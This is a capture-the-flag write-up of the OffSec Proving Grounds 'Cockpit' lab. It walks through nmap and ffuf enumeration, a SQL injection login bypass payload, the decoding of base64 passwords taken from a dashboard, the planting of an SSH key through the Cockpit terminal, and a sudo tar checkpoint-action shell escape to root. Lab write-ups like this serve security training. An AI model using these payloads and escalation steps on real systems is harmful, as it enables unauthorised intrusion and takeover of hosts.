writeup 2026-01-10 · 5 min read

OffSec Proving Grounds Cockpit Writeup

A SQL injection bypasses the login form, the dashboard behind it hands over base64 passwords for Cockpit on port 9090, and a sudo tar wildcard gives root.

OffSec Proving Grounds Cockpit Writeup

Summary

Cockpit runs Apache on port 80 and the Cockpit management console on 9090. sqlmap gets nowhere against the login form, but fuzzing an authentication bypass list with ffuf and filtering on the redirect target finds that admin followed by a comment marker logs straight in. The page behind it, password-dashboard.php, lists users alongside base64 encoded passwords for james and cameron, which decode in one command. Those credentials work on the Cockpit console, whose built in terminal already gives command execution as james, and the tester uses it to drop an SSH public key into the account for a proper session. James may run tar as root with a trailing wildcard, so the GTFOBins checkpoint action trick appends a shell to that command and returns root. The note also records the enumeration lesson: index.php returned 404 while index.html worked, and the PHP endpoints were only reachable with an explicit extension.

Things Learned

  • I accessed “index.html” (200 OK) and accessed “index.php” (404 Not Found). To me, this alone indicated that the server does not run php. Lost on enumeration. The server has php enabled, and in more conventional web server configurations you would be able to access php files without needing the extension (e..g http://192.168.220.10/password-dashboard). Here, instead, you need to use the extension for the php script LOL (http://192.168.220.10/password-dashboard.php) which is just hilarious

  • The server does not mention php anywhere. Not on server headers, not on filename, nor on home page contents. The experts over at Offsec want me to use a default set of common web extensions every time I’m running a directory enumeration.

Service Enumeration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
# Nmap 7.93 scan initiated Fri Jan  9 15:28:13 2026 as: nmap -A -vv -oN scans/nmap.all -p- --min-rate 2500 192.168.220.10
Nmap scan report for 192.168.220.10
Host is up, received syn-ack (0.26s latency).
Scanned at 2026-01-09 15:28:14 -03 for 251s
Not shown: 65532 closed tcp ports (conn-refused)
PORT     STATE SERVICE         REASON  VERSION
22/tcp   open  ssh             syn-ack OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
<SNIP>
80/tcp   open  http            syn-ack Apache httpd 2.4.41 ((Ubuntu))
|_http-title: blaze
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
9090/tcp open  ssl/zeus-admin? syn-ack
| fingerprint-strings: 
<SNIP>
| ssl-cert: Subject: commonName=blaze/organizationName=d2737565435f491e97f49bb5b34ba02e
| Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost
| Issuer: commonName=blaze/organizationName=d2737565435f491e97f49bb5b34ba02e
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-01-09T18:18:36
| Not valid after:  2125-12-16T18:18:36
| MD5:   125e84942d19de6a5b5ed52c2ed28533
| SHA-1: f17119304101d877c21c12ef9522300b7d0e2f2a
<SNIP>

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Jan  9 15:32:25 2026 -- 1 IP address (1 host up) scanned in 251.39 seconds

SQL Injection

I tried using sqlmap with different tampers against the login form but with no success. An example command I tried was:

1
python3 ~/hacking/tools/sqlmap-dev/sqlmap.py -u http://192.168.220.10/login.php --forms --threads=10 --dbms=mysql --risk 3 --level 3 --tamper=modsecurityversioned -answers=those=y,form=y --proxy http://127.0.0.1:8080

I use the following ffuf command to enumerate for valid authentication bypass payloads

1
ffuf -d 'username=FUZZ&password=asdad' -w /usr/share/wordlists/SecLists/Fuzzing/Databases/SQLi/sqli.auth.bypass.txt -u http://192.168.220.10/login.php -H "Content-Type: application/x-www-form-urlencoded" -mc 302 -fs 632

The working payload is:

1
admin' #                [Status: 302, Size: 769, Words: 69, Lines: 29, Duration: 273ms]

This is highly straight to the point, of course. To get to this command I needed to analyze every single response. But basically, there are 3 server response options from what I’ve seen based on the payload:

  1. 200 OK = Payload failed

  2. 302 Redirect (Location: blocked.html) = Payload failed

  3. 302 Redirect (Location: password-dashboard.php) = Payload success

I use the payload above in the username field in the login form:

The login form with the authentication bypass payload typed into the username field

I immediately get a redirect to http://192.168.220.10/password-dashboard.php. The page contains usernames and base64 encoded passwords:

The password dashboard listing usernames and base64 encoded passwords

More specifically:

1
2
james 	Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI=
cameron 	dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy

I use the terminal to decode both passwords like so:

1
2
echo Y2FudHRvdWNoaGh0aGlzc0A0NTUxNTI= | base64 -d
echo dGhpc3NjYW50dGJldG91Y2hlZGRANDU1MTUy | base64 -d

And save both passwords to “passwords.txt”:

1
2
thisscanttbetouchedd@455152
canttouchhhthiss@455152

I also save both users to users.txt:

1
2
james
cameron

Cockpit Login

It’s time to test some of the acquired credentials at https://192.168.220.10:9090/:

The Cockpit login page served over TLS on port 9090

I use the credentials:

1
2
Username: james
Password: canttouchhhthiss@455152

As you can see:

The Cockpit dashboard after logging in as james

Initial Access - Cockpit Terminal Access

The cockpit app has a “terminal” option I can access (https://192.168.220.10:9090/system/terminal):

The terminal entry in the Cockpit navigation

Through here I can execute system commands on the remote host as “james”:

Running system commands as james from the Cockpit web terminal

I generate a public/private SSH keypair:

1
ssh-keygen -f james

I copy “james.pub” contents and use the terminal access I have as “james” to first create a .ssh folder under james’s home directory (mkdir /home/james/.ssh) then save my generated public key to the proper location (echo COPIED-PUBKEY-FROM-CLIPBOARD &gt; /home/james/.ssh/authorized_keys). Then log in to the machine via SSH usign the private key:

1
ssh james@192.168.220.10 -i james

Vertical Privilege Escalation

User “james” has the following sudo permissions:

1
2
3
4
5
6
7
james@blaze:~$ sudo -l
Matching Defaults entries for james on blaze:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User james may run the following commands on blaze:
    (ALL) NOPASSWD: /usr/bin/tar -czvf /tmp/backup.tar.gz *

This poses as a critical vulnerability, allowing “james” to escalate privileges to root quite easily. The vulnerability lies on the usage of “*” in the allowed command above, which ultimately permits the injection of arbitrary flags to the command. I can use a resource like GTFOBins to craft a malicious “tar” command.

I use the following payload to obtain root access on the machine:

1
sudo /usr/bin/tar -czvf /tmp/backup.tar.gz /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

Below is proof I have root access on the victim host:

The root shell obtained from the sudo tar checkpoint action, reading proof.txt

This post is licensed under CC BY 4.0 by the author.